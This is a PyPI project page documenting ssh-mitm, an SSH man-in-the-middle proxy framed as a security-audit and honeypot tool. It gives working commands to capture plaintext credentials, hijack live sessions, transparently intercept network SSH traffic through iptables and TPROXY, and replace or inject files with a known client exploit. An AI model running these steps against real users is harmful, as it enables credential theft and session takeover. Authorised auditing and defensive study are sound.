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ssh mitm server for security audits supporting public key authentication, session hijacking and file manipulation

Project description

ssh-mitm - intercept ssh traffic

CodeFactor Github version PyPI version Supported Python versions PyPI downloads GitHub

man in the middle (mitm) server for security audits supporting public key authentication, session hijacking and file manipulation

  • Redirect/mirror Shell to another ssh client supported in 0.2.8
  • Replace File in SCP supported in 0.2.6
  • Replace File in SFTP supported in 0.2.3
  • Transparent proxy support in 0.2.2! - intercepting traffic to other hosts is now possible when using arp spoofing or proxy is used as gateway.
  • Since release 0.2.0, SSH Proxy Server has full support for tty (shell), scp and sftp!

:warning: do not use this library in production environments! This tool is only for security audits!

Installation of SSH-MITM

This part of the documentation covers the installation of SSH-MITM. The first step to using any software package is getting it properly installed.

$ python -m pip install ssh-mitm

To install SSH-MITM, simply run this simple command in your terminal of choice:

$ python -m pip install ssh-mitm

Get the Source Code

SSH-MITM is actively developed on GitHub, where the code is always available.

You can either clone the public repository:

$ git clone git://

Or, download the tarball:

$ curl -L | tar xz

Once you have a copy of the source, you can embed it in your own Python package, or install it into your site-packages easily:

$ cd ssh-mitm-master
$ python -m pip install .


Eager to get started? This page gives a good introduction in how to get started with SSH-MITM.

First, make sure that:

  • SSH-MITM is :ref:installed <Installation of SSH-MITM>
  • SSH-MITM is up-to-date

Let’s get started with some simple examples.

Start the ssh-mitm proxy server

Starting an intercepting mitm-ssh server with password authentication is very simple.

All you have to do is run this command in your terminal of choice.

$ ssh-mitm --remote-host 192.168.0.x

Now let's try to connect to the ssh-mitm server. The ssh-mitm server is listening on port 10022.

$ ssh -p 10022 user@proxyserver

You will see the credentials in the log output.

2021-01-01 11:38:26,098 [INFO]  Client connection established with parameters:
    Remote Address: 192.168.0.x
    Port: 22
    Username: user
    Password: supersecret
    Key: None
    Agent: None

Hijack a SSH terminal session

Getting the plain text credentials is only half the fun. SSH-MITM proxy server is able to hijack a ssh session and allows you to interact with it.

Let's get startet with hijacking the session.

$ ssh-mitm --remote-host 192.168.0.x --ssh-interface ssh_proxy_server.plugins.ssh.mirrorshell.SSHMirrorForwarder

Connect your ssh client with the ssh-mitm proxy.

$ ssh -p 10022 user@proxyserver

When a client connects, the ssh-mitm proxy server starts a new server, where you can connect with another ssh client. This server is used to hijack the session.

2021-01-01 11:42:43,699 [INFO]  created injector shell on port 34463. connect with: ssh -p 34463

To hijack the session, you can use your favorite ssh client. This connection does not require authentication.

$ ssh -p 34463

After you are connected, your session will only be updated with new responses, but you are able to execute commands.

Try to execute somme commands in the hijacked session or in the original session.

The output will be shown in both sessions.

SSH MITM Attacks

SSH uses trust on first use. This means, that you have to accept the fingerprint if it is not known.

$ ssh -p 10022 hugo@localhost
The authenticity of host '[localhost]:10022 ([]:10022)' can't be established.
RSA key fingerprint is SHA256:GIAALZgy8Z86Sezld13ZM74HGbE9HbWjG6T9nzja/D8.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[localhost]:10022' (RSA) to the list of known hosts.

If a server fingerprint is known, ssh warns the user, that the host identification has changed.

$ ssh -p 10022 remoteuser@localhost
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that a host key has just been changed.
The fingerprint for the RSA key sent by the remote host is
Please contact your system administrator.
Add correct host key in /home/user/.ssh/known_hosts to get rid of this message.
Offending RSA key in /home/user/.ssh/known_hosts:22
  remove with:
  ssh-keygen -f "/home/user/.ssh/known_hosts" -R "[localhost]:10022"
RSA host key for [localhost]:10022 has changed and you have requested strict checking.
Host key verification failed.

If the victim accepts the (new) fingerprint, the session can be intercepted.

Use-Case: Honey Pot

When ssh proxy server is used as a honey pot, attackers will accept the fingerprint, because he wants to attack this machine. An attacker also does not know if the fingerprint is correct and if the key has changed, perhaps it the server was reinstalled and a new keypair was generated.

User-Case: Security Audit

When trying to figure out the communication schematics of an application, intercepting ssh can be an invaluable tool.

For example, if you have an application, which connects to you local router via ssh, to configure the device, you can intercept those connections, if the application does not know the fingerprint and accepts it on first use.

If the application knows the fingerprint, then the same host key is used on every device. In this case, you have a good chance to extract the host key from a firmware updated and use it to trick the application.

Use-Case: Transparent Proxy

When the ssh proxy server needs to monitor general ssh communication in a network the transparent feature can be used.

To setup this feature correctly and intercept ssh traffic to multiple different hosts traffic needs to be routed through the ssh proxy server.

SSH packets that need to be audited can now be transparently processed and forwarded by the ssh proxy server making use of the TPROXY feature of the linux kernel.

For example, when traffic is routed through a CentOS 7 machine following configuration can be used:

With iptables
iptables -t mangle -A PREROUTING -p tcp --dport 22 -j TPROXY --tproxy-mark 0x1/0x1 --on-port=10022 --on-ip=

# Saving the configuration permanently
yum install -y iptables-services
systemctl enable iptables
iptables-save > /etc/sysconfig/iptables
systemctl start iptables
With firewalld
# Making use of directly and permanently adding a rule to the iptables table
firewall-cmd --direct --permanent --add-rule ipv4 mangle PREROUTING 1 -p tcp --dport 22 --j TPROXY --tproxy-mark 0x1/0x1 --on-port=10022 --on-ip=

:information: additional firewall rules may be necessary to maintain device management capabilities over ssh

To process the packets locally further routing needs to take place:

echo 100 tproxy >> /etc/iproute2/rt_tables
ip rule add fwmark 1 lookup tproxy
ip route add local dev lo table tproxy

# Setting routes and policies persistent
echo 'from all fwmark 0x1 lookup tproxy' >> /etc/sysconfig/network-scripts/rule-lo
echo 'local default dev lo scope host table tproxy' >> /etc/sysconfig/network-scripts/route-lo

Now only the ssh proxy server needs to be started in transparent mode to be able to handle sockets that do not have local addresses:

ssh-mitm --transparent

Available modules

The proxy can be configured and extended using command line arguments.

Some arguments accept Python-class names as string.

Loading a class from a package:

ssh-mitm --ssh-interface ssh_proxy_server.forwarders.ssh.SSHForwarder

:warning: creating a pip package for custom classes is recommended, because loading from files has some bugs at the moment

Loading a class from a file (experimental):

ssh-mitm --ssh-interface /path/to/my/

SSH interface

  • cmd argument: --ssh-interface
  • base class: ssh_proxy_server.forwarders.ssh.SSHBaseForwarder
  • default: ssh_proxy_server.forwarders.ssh.SSHForwarder

Available forwarders:

  • ssh_proxy_server.forwarders.ssh.SSHForwarder - forwards traffic from client to remote server
  • ssh_proxy_server.plugins.ssh.sessionlogger.SSHLogForwarder - write the session to a file, which can be replayed with script
  • ssh_proxy_server.plugins.ssh.noshell.NoShellForwarder - keeps the session open, when used as master channel, but tty should not be possible to the remote server
  • ssh_proxy_server.plugins.ssh.mirrorshell.SSHMirrorForwarder - Mirror ssh session to another ssh client
  • ssh_proxy_server.plugins.ssh.injectorshell.SSHInjectableForwarder - Creates injection shells for listening on and writing to a ssh session

SCP interface

  • cmd argument: --scp-interface
  • base class: ssh_proxy_server.forwarders.scp.SCPBaseForwarder
  • default: ssh_proxy_server.forwarders.scp.SCPForwarder

Available forwarders:

  • ssh_proxy_server.forwarders.scp.SCPForwarder - transfer file between client and server
  • ssh_proxy_server.plugins.scp.store_file.SCPStorageForwarder - save file to file system
  • ssh_proxy_server.plugins.scp.replace_file.SCPReplaceFile - replace transfered file with another file
  • ssh_proxy_server.plugins.scp.inject_file.SCPInjectFile - uses SSHtranger Things Exploit to inject file to vulnerable clients (into the working directory)

SFTP Handler

  • cmd argument: --sftp-handler
  • base class: ssh_proxy_server.forwarders.sftp.SFTPHandlerBasePlugin
  • default: ssh_proxy_server.forwarders.sftp.SFTPHandlerPlugin

Available forwarders:

  • ssh_proxy_server.forwarders.sftp.SFTPHandlerPlugin - transfer file between client and server
  • ssh_proxy_server.plugins.sftp.store_file.SFTPHandlerStoragePlugin - save file to file system
  • ssh_proxy_server.plugins.sftp_replace.SFTPProxyReplaceHandler - replace transfered file with another file


  • cmd argument: --authenticator
  • base class: ssh_proxy_server.authentication.Authenticator
  • default: ssh_proxy_server.authentication.AuthenticatorPassThrough

Available Authenticators:

  • ssh_proxy_server.authentication.AuthenticatorPassThrough - default authenticator, which can reuse credentials

Currently, only one authenticator (AuthenticatorPassThrough) exists, but it supports arguments to specify remote host, username and password, which shlould fit most scenarios. (public keys are on the roadmap)


  • Manfred Kaiser
  • Simon Böhm

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